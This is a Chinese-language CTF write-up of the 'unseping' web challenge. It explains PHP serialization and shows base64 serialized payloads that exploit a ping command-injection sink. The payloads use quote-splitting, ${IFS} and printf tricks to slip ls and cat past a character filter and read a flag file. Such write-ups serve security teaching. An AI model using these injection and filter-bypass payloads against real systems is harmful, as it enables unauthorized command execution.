ctf-web-unseping解题思路

简介: ctf-web-unseping解题思路

这道题在我看来是ctf-web方向第一阶段最难的题,涉及的知识点比较多,比较杂。

不过不当紧,方法总比困难多。

先打开题目场景,如图可知这是一道PHP序列化的题目:

第一步-先分析代码:
创建了一个类ease

function关键字用来自定义并声明函数,后跟函数名。

private私有的,声明对象只能在ease这个类中使用和进行访问,同样的public就是共有的意思。

定义了两个对象method和args。

this关键字的作用是在实例化对象的时候用来确定指向谁。

array用来创建数组。

call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数。

->调用或者是指向的意思。

waf中过滤掉的字符有| & ; 空格 / cat flag tac php ls。到后面需要绕过。

wakeup中foreach是循环遍历的意思。

as 将遍历的数组内元素用一个替身变量来表示。

=>键值连接符

@忽略表达式可能产生的错误信息。

unserialize() 可以用此字符串来重建原始的变量值。

题目的切入点,最后怎么拿到flag,就是通过这个ctf变量发送POST用来请求数据。

不过这道题涉及到了PHP序列化的概念,有点复杂。

第二步-学习知识:
所以说我们在解题之前,需要先了解点知识点:

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

PHP序列化:将变量转换为可保存或传输的字符串的过程。

PHP序列化函数:serialize

参考实例:

=>在PHP中代表键对值,左边为键右边为值,和python中的字典相似,所以说编程语言之间有很多同性。

a是对象,3代表对象长度,你看a对应blue,b对应green,c对应red,正好是三个。

s代表str字符串类型,这个就不难理解吧,有双引号。

1是a这个变量名的长度,4是bule这个变量的长度,以此类推,举一反三。

第三步-解题步骤:

使method等于ping才可以进入下一步,需要注意的是这两个对象都是数组的形式,我们总要看看目录下都有什么东西吧,所以需要用到ls,但是ls被过滤了,所以我们就要用''单引号进行绕过。

所以传入method = ping ,args=ls。

定义一个变量a用来存放实例化后的结果,new是面向对象的意思,实例化ease类,这个类里面有很多方法,实例化后的结果存放在$a中。

随后用serialization函数序列化实例化后的$a,并存放到$b中。

输出$b并进行换行操作。

用base64编码格式输出序列化的$a,拿到payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==
通过payload数据流上传ctf参数。

用火狐浏览器Max HackBar工具上传ctf参数:

拿到返回数据发现目录下有一个名为flag_1s_here的文件夹,我们得看看里面有什么东西,用ls列出该文件夹下的文件,但是部分字符被过滤了,我们还得进行绕过。

空格也被过滤了,需要用到${IFS}进行绕过。

${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。

重新构造args可执行命令的值'l""s${IFS}fl""ag_1s_here',需要注意闭合,注意'',和""的位置。

拿到payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWZsIiJhZ18xc19oZXJlIjt9fQ==

上传ctf参数:

拿到返回数据flag_831b69012c67b35f.php文件,flag大概率就在这个php文件中了。想要拿到flag,就必须cat这个文件,cat是查看内容的意思,因为有过滤所以还得进行绕过。

cat flag_1s_here/flag_831b69012c67b35f.php

cat flag php都可以通过""双引号进行绕过,空格可以通过${IFS}进行绕过,\要用printf及$()绕过,以及水平制表符57对应ASCII码。

进行构造:

'c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'
还是要注意闭合。

拿到payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

上传ctf参数:

最终拿到flag:

总结:查看目录下有什么东西,发现文件夹,查看文件夹下面有什么东西,发现文件,查看文件内容。大致思路看着是简单,但是这道题需要知道序列化,函数,过滤和绕过,参数上传等知识,综合比较强点。

有什么不懂的可以私聊我,才疏学浅,有什么不足,还望各位师傅指出,谢谢观看。

目录
相关文章
|
11月前
|
JavaScript 前端开发
Bugku CTF web 你必须让他停下来 解题思路
Bugku CTF web 你必须让他停下来 解题思路
56 2
|
11月前
|
安全 PHP 开发工具
web-mfw解题思路
web-mfw解题思路
71 1
|
11月前
Bugku CTF web GET 解题思路
Bugku CTF web GET 解题思路
72 0
|
11月前
bugku ctf Web POST 解题思路
火狐插件HackBar
93 0
|
数据采集 网络安全 PHP
[CTF/网络安全] 攻防世界 baby_web 解题详析
题目描述:想想初始页面是哪个
326 0
[CTF/网络安全] 攻防世界 baby_web 解题详析
|
2天前
|
前端开发 API 开发者
Python Web开发者必看!AJAX、Fetch API实战技巧,让前后端交互如丝般顺滑!
【7月更文挑战第13天】在Web开发中,AJAX和Fetch API是实现页面无刷新数据交换的关键。在Flask博客系统中,通过创建获取评论的GET路由,我们可以展示使用AJAX和Fetch API的前端实现。AJAX通过XMLHttpRequest发送请求,处理响应并在成功时更新DOM。Fetch API则使用Promise简化异步操作,代码更现代。这两个工具都能实现不刷新页面查看评论,Fetch API的语法更简洁,错误处理更直观。掌握这些技巧能提升Python Web项目的用户体验和开发效率。
15 7
|
2天前
|
API 数据库 开发者
逆袭之路!Django/Flask助你成为Web开发界的璀璨新星!
【7月更文挑战第13天】在Python Web开发中,Django和Flask各具优势。Django适合快速构建大型项目,如在线书店,其ORM和内置功能让复杂应用轻松上手。Flask则以其轻量和灵活性见长,适用于个人博客等小型应用。选择框架应根据项目需求和个人偏好,两者都能助开发者在Web开发领域大放异彩。
11 2
|
3天前
|
安全 大数据 编译器
PHP 8: 探索新特性及其对现代Web开发的影响
在这篇文章中,我们将深入探讨PHP 8的最新特性,包括JIT编译器、联合类型、匹配表达式等,并分析这些更新如何影响现代Web开发。通过具体示例和代码片段,本文旨在为开发者提供一个清晰的指南,以便更好地利用PHP 8的新功能优化和加速他们的应用程序。
10 2
|
3天前
|
编译器 测试技术 PHP
深入理解PHP 7的新特性及其对现代Web开发的影响
【7月更文挑战第12天】本文将探讨PHP 7版本中引入的关键改进和新增功能,以及这些变化如何优化了性能、提升了代码的可维护性,并促进了现代Web开发的最佳实践。通过具体示例,我们将深入了解这些新特性在日常开发中的应用,以及它们为开发者带来的实际益处。
10 2
|
3天前
|
数据库 开发者 Python
从菜鸟到大神,Django/Flask 让你秒变 Web 开发界的‘头号玩家’!
【7月更文挑战第12天】在Python Web开发中,Django和Flask框架各具特色。Flask轻量灵活,适合快速搭建简单应用,如博客,基本代码仅需几行。Django则功能全面,适用于复杂项目,如电商网站,内置ORM和管理后台。两者都助力开发者从新手进阶。选择取决于项目需求和个人偏好。学习和实践这两个框架,能助你成为Web开发专家。